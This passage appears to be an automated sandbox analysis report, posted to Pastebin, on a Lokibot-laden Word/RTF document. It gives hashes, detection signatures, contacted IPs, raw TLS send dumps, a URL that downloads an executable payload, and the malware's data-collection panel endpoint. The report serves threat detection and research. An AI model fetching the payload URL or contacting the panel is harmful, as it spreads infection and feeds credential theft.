API tools faq
paste
paladin316

Docs_912241f9985aac45bbd1cec28ac2e334_doc_2019-07-22_15_30.txt

paladin316
Jul 22nd, 2019
3,964
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 244.10 KB | None | 0 0
raw download clone embed print report
  1.  
  2. * MalFamily: "Lokibot"
  3.  
  4. * MalScore: 10.0
  5.  
  6. * File Name: "Docs_912241f9985aac45bbd1cec28ac2e334.doc"
  7. * File Size: 9602
  8. * File Type: "Rich Text Format data, version 1, unknown character set"
  9. * SHA256: "13ae3b5277810f85abf33cd63b7a672624625f656a988d32aede54092dfbd6a7"
  10. * MD5: "912241f9985aac45bbd1cec28ac2e334"
  11. * SHA1: "ef45c4bac1f6ce09155be3a0b8ad724a2dc80057"
  12. * SHA512: "ae1d81efe179843c13dbcac4b4db18bb31832afc1629f3fa73ad4a813cca462397753c02f728c0b46768c1f07c61aec90e8ae394a8903793aafc186408377cfc"
  13. * CRC32: "0B88058D"
  14. * SSDEEP: "96:TObZvCdAIrQSBMKsuJkwzKG1IsoaQDMzXcq9jT0uwowBx977Xl:6bRCdPr5BMK9qeBPPzvdIXl"
  15.  
  16. * Process Execution:
  17. "WINWORD.EXE"
  18.  
  19.  
  20. * Executed Commands:
  21.  
  22. * Signatures Detected:
  23.  
  24. "Description": "Possible date expiration check, exits too soon after checking local time",
  25. "Details":
  26.  
  27. "process": "WINWORD.EXE, PID 696"
  28.  
  29.  
  30.  
  31.  
  32. "Description": "A process attempted to delay the analysis task.",
  33. "Details":
  34.  
  35. "Process": "WINWORD.EXE tried to sleep 292 seconds, actually delayed analysis time by 0 seconds"
  36.  
  37.  
  38.  
  39.  
  40. "Description": "Attempts to connect to a dead IP:Port (9 unique times)",
  41. "Details":
  42.  
  43. "IP": "52.109.20.1:443"
  44.  
  45.  
  46. "IP": "52.109.20.4:443"
  47.  
  48.  
  49. "IP": "65.52.98.231:443"
  50.  
  51.  
  52. "IP": "23.36.176.37:443"
  53.  
  54.  
  55. "IP": "23.59.155.32:80"
  56.  
  57.  
  58. "IP": "72.21.91.29:80"
  59.  
  60.  
  61. "IP": "23.59.155.8:80"
  62.  
  63.  
  64. "IP": "184.86.194.82:443"
  65.  
  66.  
  67. "IP": "104.18.25.243:80"
  68.  
  69.  
  70.  
  71.  
  72. "Description": "At least one IP Address, Domain, or File Name was found in a crypto call",
  73. "Details":
  74.  
  75. "ioc": "rc.glox"
  76.  
  77.  
  78. "ioc": "ontent.inf"
  79.  
  80.  
  81. "ioc": "set.dotx"
  82.  
  83.  
  84. "ioc": "chicago.xsl"
  85.  
  86.  
  87. "ioc": "ieee2006officeonline.xsl"
  88.  
  89.  
  90. "ioc": "e.gu"
  91.  
  92.  
  93. "ioc": "pictureorgchart.glox"
  94.  
  95.  
  96. "ioc": "adial.glox"
  97.  
  98.  
  99. "ioc": "gostname.xsl"
  100.  
  101.  
  102. "ioc": "gb.xsl"
  103.  
  104.  
  105. "ioc": "rocess.glox"
  106.  
  107.  
  108. "ioc": "ccent.glox"
  109.  
  110.  
  111. "ioc": "ist.glox"
  112.  
  113.  
  114. "ioc": "gosttitle.xsl"
  115.  
  116.  
  117. "ioc": "quations.dotx"
  118.  
  119.  
  120. "ioc": "chevronaccent.glox"
  121.  
  122.  
  123. "ioc": "ext.glox"
  124.  
  125.  
  126. "ioc": "rid.glox"
  127.  
  128.  
  129. "ioc": "..3b"
  130.  
  131.  
  132. "ioc": "mlaseventheditionofficeonline.xsl"
  133.  
  134.  
  135. "ioc": "turabian.xsl"
  136.  
  137.  
  138. "ioc": "rings.glox"
  139.  
  140.  
  141. "ioc": "architecture.glox"
  142.  
  143.  
  144. "ioc": "iso690.xsl"
  145.  
  146.  
  147. "ioc": "content.inf"
  148.  
  149.  
  150. "ioc": "iew.thmx"
  151.  
  152.  
  153. "ioc": "sist02.xsl"
  154.  
  155.  
  156. "ioc": "anded.thmx"
  157.  
  158.  
  159. "ioc": "ividend.thmx"
  160.  
  161.  
  162. "ioc": "asis.thmx"
  163.  
  164.  
  165. "ioc": "ype.thmx"
  166.  
  167.  
  168. "ioc": "ircuit.thmx"
  169.  
  170.  
  171. "ioc": "g.n9"
  172.  
  173.  
  174. "ioc": "roplet.thmx"
  175.  
  176.  
  177. "ioc": "arallax.thmx"
  178.  
  179.  
  180. "ioc": "eathered.thmx"
  181.  
  182.  
  183. "ioc": "rail.thmx"
  184.  
  185.  
  186. "ioc": "vent.thmx"
  187.  
  188.  
  189. "ioc": "erlin.thmx"
  190.  
  191.  
  192.  
  193.  
  194. "Description": "HTTP traffic contains suspicious features which may be indicative of malware related traffic",
  195. "Details":
  196.  
  197. "post_no_referer": "HTTP traffic contains a POST request with no referer header"
  198.  
  199.  
  200. "http_version_old": "HTTP traffic uses version 1.0"
  201.  
  202.  
  203. "suspicious_request": "http://kitchenraja.com/loggers/Panel/five/fre.php"
  204.  
  205.  
  206.  
  207.  
  208. "Description": "Performs some HTTP requests",
  209. "Details":
  210.  
  211. "url": "http://coldcerealfordinner.com/wp-admin/js/12jan/ivo/Dede.exe"
  212.  
  213.  
  214. "url": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D"
  215.  
  216.  
  217. "url": "http://ocsp.msocsp.com/MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D"
  218.  
  219.  
  220. "url": "http://kitchenraja.com/loggers/Panel/five/fre.php"
  221.  
  222.  
  223.  
  224.  
  225. "Description": "A document file initiated network communications indicative of a potential exploit or payload download",
  226. "Details":
  227.  
  228. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x7f\\x01\\x00\\x00\\x03\\x015\\xcd\\xcb\\x95\\xf9\\xd7\\xa9\\x12\\x10\\x04\\x99\\xfa\\x13v\\x1d\\x89\\x19\\xce\\x05c\\xbdv\\xd89z\\x8c\\xc5yd\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00:\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00!\\x00\\x1f\\x00\\x00\\x1coffice15client.microsoft.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  229.  
  230.  
  231. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x82\\xfa\\xc7\\xef\\x88t\\xf0\\xab|\\xc3\\x89\\x1f\\xe3\\xea\\x7fj\\x84_<\\xb3\\xe1x\\xc2\\xb9<\\x913\\xba\\xad\\x9cu!\\xbb\\x15\\x9da4\\x9cus=.\\xf7\\x94\\xf0$r\\xc2\\x84\\xbd\\x83j~\"x\\x85\\xc7\\x8ey\\xc1\\xecxn\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000/\\x04\\xd8?\\x14\\x19'sb\\x0b\\xea\\xfa\\x1d\\x94\\xa1\\xbd\\xaa*s)\\x7fo3?\\x12\\xc6\\xe9\\xb4\\x1cj\\xfd:\\x14\\x00f\\xd3\\x80*\\xb2n\\xa3\\x10/\\x17'\\x16\\x8e\\x07"
  232.  
  233.  
  234. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01p\\xa8\\x83u\\x8d\\xe2\\xae-u\\xff\\x8c\\xef\\xbc:\\xb4kpy\\x7f\\xad\\xdd\\x8c\\xac-a\\xf2\\x9ei \\x8d\\x86\\xf3`\\xf2w\\xc2\\xc4\t=\\xe4\\xee\\xba\\xd8\\x8b\\xc2\\xabl\\xd1i\\x11\\x85o\\x7f\\x14\\xe9\"=>\\x12`\\x10t\\xe754\\xb875~\\x95h\\xcb\\xce\\xd2\\-d\\xb2fyt\\xee\\x15\\xc2\\xd8\\x84\\x1b\\x9a\\x1e\\x81\\xe4\\xeedv\\xb7 \\xc2)\\xc1o\\xbf\\xd4\\xa4\\xd5\\xa7\\xb5_\\x80\\xf2(r\\xd3\\xe2\\xc9\\x06*\\x1e\\xc0\\xb1\\xa1\\xd8\\x11\\x898b\\xf2\\x12\\xfbxd5\\xd3n\\x879l\\x07\\x1e\\xd1\\x91\\x04i\\xcc\\xbf\\xee\\xf2\\xd6\\xc6\\xb2\\xcd\\xb5\\xb6\\xe6\\x7f\\x83\\xff\\xa2\\x8c\\x15\\xbd\\xff\\x87jk\\xad\\x08\\xb1je\\x12\\xceq\\xcf\\xf2\\xf0\\x82\\x8b\\x86m\\xab\\xdc\\xd98\\xcb\\xb9\\xba9\\x95\\x92\\x99u\\x90\\xa0\\x16i\\xfa\\xc0z\\xf1\\x07\"\\xae\\x9d\\xb3\\x10&:<#a\\xe6\\xb6\\xc4\\x17\\xb7\\xd1\\xc4=!i\\x01\\xd1 v\\x10\\xe8\\xc2m \\xc59e\\xced7\\xc2\\x86\\xc0\t\tlo\\xfa\\xda,\\x8cb\\xeb\\xff5"
  235.  
  236.  
  237. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00~\\x01\\x00\\x00z\\x03\\x015\\xcd\\xcc\\xf9\\x06\\x19\\x9a\\x9bg\\xf3l\\xca\\xc4\\xf5u\\xf4tzd\\x02#\\x051i)\\xea\\xe6t\\x1dh\\x8c\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x009\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00 \\x00\\x1e\\x00\\x00\\x1broaming.officeapps.live.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  238.  
  239.  
  240. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04e\\x0f\\x9d~\\x17\\xbba\\x95z\\xf5\\xdc\\xbf\\xd0jp\\xbd\\x06\\xa4\\x1f\\x8c\\xff\\xcf3\\x95\\xfe\\xfd\\xe9\\xeek\\x83\\x7fz\\x9b\\xaa\\x86\\x86w\\x88\\x94f\\x12sz\\xaa$r\\x15\\x97\\x0f\\\\x11kj\\x92\\xed\\xf5-\\xcb\\xd2\\xf5\\x1a\\xae\\x1a\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x84i\\xa5\\x1e\\xc6\\x9e\\xe1sex\\xfd/\\x9cs\\x00\\xf1\\x85\\x97\\x0bh\\xe1\\xd6)\\xea\\xf8\\x13\\x90\\xe2s\\xe6|\\x99bo\\xfc1\\xcc\\xd6.\\xee\"\\xce9\\xb3y\\xeb\\xd5\\xea"
  241.  
  242.  
  243. "http_request": "winword.exe_WSASend_get /mfewtzbnmeswstajbgurdgmcgguabbtbl0v27rvz7lbduom%2fnyb45spuewqu5z1zmijhwmys%2bghunoz7oruetfaceai4elabvpzalrznpjlrv1u%3d http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nuser-agent: microsoft-cryptoapi/6.1\r\nhost: ocsp.digicert.com\r\n\r\n"
  244.  
  245.  
  246. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00z\\x01\\x00\\x00v\\x03\\x015\\xcd\\xcf$\\xa5\\xae\\x8c2\\x0cy\\x0c<<\\xa2x!\\xdd\\xbf\\x8fwfih\\x03\\x99&\tv\\x1aiv\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x005\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00\\x1c\\x00\\x1a\\x00\\x00\\x17odc.officeapps.live.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  247.  
  248.  
  249. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x12\\xb0\\xa3\\x1b\n\\x89e\\x1c\\xf6\\xd4\\xa4o\\xccj\\xdd\\xe8\\xe6\\xd7\\xe9\\x7f\\xc7a\\x98\\xd2\\x1dn\\x0c\t\\xd6\\x0f\\xc7\\x10\\x80\\xec\\xa3\\x90,\\xf6\\x92b\\xaf\\xa9\\xe22\\xb1z\\xd6\\xb9\n\\x80.\\xf2@\\xe4\\xa7z\\x08\\xf1\\xf3\\xb5\\x8f\\xdf\\x04\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000=;zj\\xa0x \\xd0\\x8e\\xdf\\x1c8l\\xd6\\x83\\x98\\x8e\\xb9\\x90\\x7f`\\xef\\xe2\\xc2o\n\\xf9;\\xc1\\x8f\\xf2\\x9b\\x16\\xbal\\x88\\x0f\\x99\\xba)\\xa3\\x86\\xdb\\x80\\x12\\xb8u\\x0f"
  250.  
  251.  
  252. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01p\\xf7\\xaej\\xee\\x1a\\x16\\x16\\x7f(8\\xc0\\xd8\\xc0\\xea\\xa5d\\xd7\\x82\\xb5\\xf3y\\x9c\\x10\\xe5\nm\\x89\\x06\\xfd\\xa4_\\xd4\\x9b\\x00\\x8d\\xb5e\\xf3%u\\xd3c6\\x9fg\\xc49\nm\\x9fe\\x17\\x00\\xa0e\\xe7zy\\x93\\x88dl\\xdf\\x1c\\x93\\xe0q\\xc2\\x8a,%\\xd3\\x91\\xd3\\xa4\\x02t/\\x9ey\\xee\\xab\\xc4\\xcfxk\\x98(gejm3\\xc5x\\xecr\\x95\\x92\\xe7\\xab,\\xa1\\xdcoi\\x89nm\\x81\\x07lo\\x8b!m\\x03\\xd6~r\\xb9\\xe5\rbf\\x06\\xd93\\x07\\x16\\xeft\n\\xe3m\\xb0\\x85\\xfe\\xb4\\x90\\x9d\\x1e\\xc6\\x9d6\\x90=\t\\xd8+\\xc1\\xa9\\xc9b\\xe6\\x7f\\x83\\xa3g\\x05x@+\t\\x975\\x8f\"\\xee\\x0c\\\\x91$\\x80\\xb7\\xcf\\xbe\\x80\n\\x86\\xa5\\x05\\xec\\x15\n\\xee\\x9e\\xac\\xb9\\xbc\\x06x'\\xa8\\x16\\xc2\\xb2\\xa0\\x85c\\xd2\\xf7p\\x0c\\x1f\\xe6u\\xa8\\x86~.\\xf6\\xd6\\x14\\xdd\\xd6\t\\x9cr5\\x90\\xaa\\x81v\\xb6\\xbf\\x89\\xd1\\x07\\xd7/\\x0f\\xc7wz\\x85\\xdb\\xf5q\\xcb\\x1a<\\xee\\xfel\\x8bl"
  253.  
  254.  
  255. "http_request": "winword.exe_WSASend_get /mfqwujbqme4wtdajbgurdgmcgguabbrpc1vzt9qvn7bzy3iidtbhla4mkqquwiif1tycsck3fd7%2fhijo5ox%2f%2bn0ce3saagyvv14%2fmepdgh0aaaaabk8%3d http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nif-modified-since: sat, 23 mar 2019 17:46:18 gmt\r\nif-none-match: \"dd54d75d468"
  256.  
  257.  
  258. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01p,\\x80h|\\x9ci\\xe9b|\\x10h\\x1a\\xbd\\x0byc\\xeb\\xc2\\xc8\\x02\\xa5p\\xaf`\\x16#\\x12\\xe4\\x95\\x97\\x82fr\\xd9\\xe8\\xcb\r\\xa8\\x91\\xf0\\x92\n?^n\\x93\\xfbi\\xc2&\\xd7\\xab5\\xb6<\\x06\\xac\\xbc\\xe5;\\x1b\\xa5w\\xef\\xee\\xcd\\xb7h\"1\\xed\\xfc+ux\\xde8u3\\x9b\\x8d\\x9c\\xa1\\x13,\\x16a\\xcd\\x82n\\x08m\\xdap\\xb5\\xb1\\xf6f\\x92\\xb4\\xc6\\x84\\x18w\\x9b\\xa5\\xa5\\x1fm\\xf2qp\\x85\\xd3\\x19\\xc0\\xfe\\xbe;j\\xc0\\x14\\xd6\\xc3\\x812\r\\x03`\\xa9\\xdf%\\x19e\\xf5xb_g\\xbc\\xa8\\xe51!\\xa8g\\x11\\x15\\xcd\rzi\\x89\\xc4\\x93\\x9ek;\\xc3j\\xb0\\x9a\\xc8\\xb2\\xdcc\\xdf\\xf1\n!l(\\xa0\\xf7yit\ryn\\xe5\\xf1-\\xbf\\x86\\xe4\\xe83\\xfb\\x17\\xdd\\x13!x \\xab\\xadd\\xe7\\x98i\\xd2\\x9b\\xfcsk@\\x92/9\\xbd\\x0e\\xdc\\x8d\\xec\\x1d\\xe57\\x9b\\xb1\\xae\\xf0*\\xa1\\xbaj\\xb9g\\xd6\\x95\\x85;\\xa7\\x05\\xd6\\xbb\\xa8r`\\xe6\\xdf\\xbb"
  259.  
  260.  
  261. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x02 \\xed\\xb5\\x07\\xe3v@\\xc6\\xc3\\xd3\\x16\\x00\\xb3\\xaczi~\\xc1\\x17\\xe9x\\x8bgr\\xcc\\x88 muf\\xe1s\\xe3j\\x97\\xf0\\xef\\xa8\\xe5\\xc2a\\xe5v\\xf9\\x91\\xcc+>\\\\x9b\\xa5\\xdf\\xb7\\xb4\\x86\\x9b\\xb9z\\x06\\x8f\\xf1\\xbb\\xf5\\xe71\\xc5uf\\xe2\\xa6\\x9c\r\\x7f\\xa3\\x8d\\xb0\\x00\\xa2y\\x1f\\xb1\\x8c\\xe5^\\x83_\\xaf\\xb4u\\xca^*\\xd0:j\\xado\\x9ef\\xf8/\\x1f\\x93f\\xd4\\x07\\xe1\\xee\\x81\\xbbo\\xfca\\xc4\\xbb\\xf1\\xb2\\xb5\\xd4\\x1f\\xc4\\x041nlv\\xb8f\\xf5|\\xfd\\xcb\\xd5@\\x91y\\x0e\\xcd\\xd4\\x90\\x8d\\x9d\\x05\\xb8\\x8e\\xd7\\xb6i\\xa2\\x9a\\xab\\x98,\\xbel\\xdeo\\xa1\\xbd\\xa5+\\x04\\xcf\\xe0\\xde\\x9e\\xbb2\n\\xd6\\xd5a\\xa0l\\x95\\x9f\\xa9#\\xa5\\x12\\x1a\\xcc6&_\\xe4\\\\xc0v2\\x07ny)j\\xde\\x92y\\xa0\\xeaq\\xb5\\xfc\\xaf\\x0b\\x83\\x06\\xffa+\\xd6\\xb3\\xcf!+h\\xe7<\\xd1\\xdcd\\x00\\x8e\\xd3\\x83.\\x95\\x98\\xa85\\xe5r\\x9c\\x8d|;81\\x8bk\\xd0v\\xdd\\xdchm\\xe5`"
  262.  
  263.  
  264. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x01\\x00\\x00y\\x03\\x015\\xcd\\xd0l\\xf8u\\xcd\\xf3\\x04\\xd3\\x00\\xa8\\xa04r\\xfd\\xc0p\\xab\\xa3\\xb8\\x93\\x95\\xd9\\xef\\x99\\xb1y\\x9f\\xd7\\xf6\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x008\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00\\x1f\\x00\\x1d\\x00\\x00\\x1atemplateservice.office.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  265.  
  266.  
  267. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x82\\xcfg\\xb7~\\xfb\\xe1\\x14\\xe1\\x90\\xdf\\x8a\\xe7\\x0fw\\xb5\\xc2u\\xe3\\x94\\xd4>\\x11\\xcc\\xeae@b\\xf4\\xda\\xe3,\\x99\\xdfgrl\\xd9l\\xfeyw\\x1f\\xb8\\x7f\\xeclzn\\xdb\r\\xd2\\xed\\xf3w\\xcd\\xb6be\\xb0\\x9e\\xd7\n\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xca\\xa0\\x8c\\x82\\xb7\\xec\\x11\\x18\\xf6\\xd4^\\xe0\\x1e\\x14i\\x9c;\\x9ah\\xae\\x96z\\xda\\xd1\\xde\\x15\\x92\\x156\\xeb\\xf6\\x1f\\xd6\\x84co\\x15\\x9c\\x0f?t\\xc0\\xb3y\\xf5\\xba\\x83\\x0c"
  268.  
  269.  
  270. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01ph\\xb8\\x8d\\x80d\\xf8\\xae\\x04\\x15\\xdf\\xcb\\xaaec\\xe2\\x98h\\xc4\\x8f\\x13\\xa9\\xc7\\xfb(w\\x8d\\xac\\xab:-e\\xe1\\x90>\\x9a\\xb1\\xb2\\xe0\\x14\\x12!\\xf2\\xc2\\x8bx\\xebu\\xd0a\\xabw\\x1e\\xe0plu\\x1f\"@\\x90j\\xe3+\\x97\\x0fb4m\\x17\\x86\\x92\\xf3\\x03g\\x92\\x8d>\\xe8\\xa2\\xf7\\xe9\\xd2g\\x86\\xa3mt\\xe6\\xfac\\xa9=j\\x0e`\\x1fa\\xe8\\xf3\\xa1\\x1d\\x11\\xfe\\xfa\\xf3\\xe8y\\x05\\xe0\\xd8e\\xedskf\\xe4\\x8dx\\xc5v\\xd7l\\xd9>\r\\x81k\\x1d\\x80\\x14%m9\\x98\\xdf\\xf4p\\x0b\\x00h\tup\\xdc\\xd3%\\xdf\\x871w\\x0c\\xfbb\\x994\\xc6\\xdeip\\xa6\\xb0\\xfa\\xaf!z\\xc1f\\xb7;x\\xab5x\\x8b\\x9f\\xd2\\xf3\\xcfv92i^\\x0c\\xbf\\xa1\\xf9\\xfb\\xd2\\xa5an\\xc3\\x01\\xe3\\xc7\\xf3,\\x07o3\\xec4\\xda\\xed\\xb6\\xb1px\\xa3\\x17\\xe9;\\xd3\\x18\\x00\\xd8\\xbe\n)\\xa4v\\x15\\x1b\\xd3\\xe4ij\\x94\\xf6\\xd48\\xf4 \\x8c\\xc8\\x8d*d&\\x9e\\xf23\\xd1(\\xbc\\x9bs\\xd1u"
  271.  
  272.  
  273. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x015\\xcd\\xd1a59a\\xe6\\x10g\\xa9\\x98\\x81\\x98\\xfa)\\x8a\\xcd\\xac\\x8f'\\x85/\\x8c\\x02l\\xd8\\x96l\\xf6\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  274.  
  275.  
  276. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x015\\xcd\\xd1\\xe9\\xb2\\xa5\\xa6\\xed\\x10\\x02(\\xc2\\xddq*\\xa9\\xb2\\xc1\tw\\x1ar\\x1c\\xca\\xea\\x96d\t\\xeez\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  277.  
  278.  
  279. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x015\\xcd\\xd13\\x96a4\\xfa\\x8c\\xbdgs@\\xb3\\x7fp\\xcf7\\x95\\x81\\xcb\\xcd\\x81\\xf8\\xb5\\x9bba\\xaf\\x83\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  280.  
  281.  
  282. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x015\\xcd\\xd1\\xf4cn\\xd4w_\"\\x1d\\xfa\\x99fnwbo)\\xaak\\xff\\xfb*\\x8b\\xe2\\xdb9m\\xa6\\xa0\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  283.  
  284.  
  285. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x015\\xcd\\xd1m\\xc8a\\xb5\\x147\\x1c\\x84s)\\xfcb8\\xe9*\\xd3\\x18\\xc1j\\x87\\xcbc~,\\xd08\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  286.  
  287.  
  288. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x015\\xcd\\xd1\\xbd\\x82\\xaf\\xd4\\xf9)4 \\xc7\\xe6\\xe8kark\\xd6\\x9b\\xcf\\xba\\xe6\n\\xf1\\\\xa4\\x9b\\x85w\\x1b\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  289.  
  290.  
  291. "http_request": "winword.exe_WSASend_\n\\x02\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x015\\xcd\\xd1\\xfau\\xe8\\x81\\x9by5\\x1e_\\x80\\xfb\\xdfp\\x90v_\\x7fl\\xe0\\xe7\\xab\\x9dou#\\xc3\\x98\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  292.  
  293.  
  294. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x015\\xcd\\xd1\\x03a\\x18\\xaf\\x8ba\\xef\\xbds\\xfbst\\xc1\\xbea\\xc9k\\x076p|\\xb0\\xe8\\xf2\\xaf>\\x0f\\x07\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  295.  
  296.  
  297. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x015\\xcd\\xd1\\xdewll\\xd6\\x99\\xf2@\\xdb\\xb4=d\\x9bp/\\xc0zx\\x84\\xe0\\xd8\\xfd7\\x18*`)\\xdd\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  298.  
  299.  
